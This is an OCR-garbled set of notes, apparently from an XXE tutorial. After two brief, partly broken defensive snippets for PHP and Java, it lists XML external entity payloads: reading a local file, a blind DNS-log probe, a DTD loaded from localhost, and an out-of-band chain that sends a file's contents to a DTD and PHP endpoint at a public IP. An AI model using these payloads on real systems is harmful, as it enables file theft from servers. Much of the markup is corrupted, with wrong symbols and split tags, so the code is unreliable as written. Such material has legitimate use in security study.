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PHP:

libxml disable entity loader (true);

JAVA:

DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance () ;dbf.setExpandEntityReferenc

aac(falace) -
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1. O
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/e.txt">
1>
<user><username>&test;</username><password>Mikasa</password></use
r>
1.1\ WA
<?xml version="1.0" 72>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://9v5711l.dnslog.cn">
$file;
1>
<user><username>é&send; </username><password>Mikasa</password></use

r>

2. HMEGI A K dtd:

<?xml version="1.0" ?>

<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
$file;

1>

<user><username>é&send; </username><password>Mikasa</password></use

r>

evil2.dtd

<!ENTITY send SYSTEM "file:///d:/e.txt">

3. KRR

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY % file SYSTEM "file:///d:/e.txt">

<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">

%$remote;

$all;

1>

<root>&send;</root>

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM

'http://47.94.236.117/get.php?file=%file;'>">
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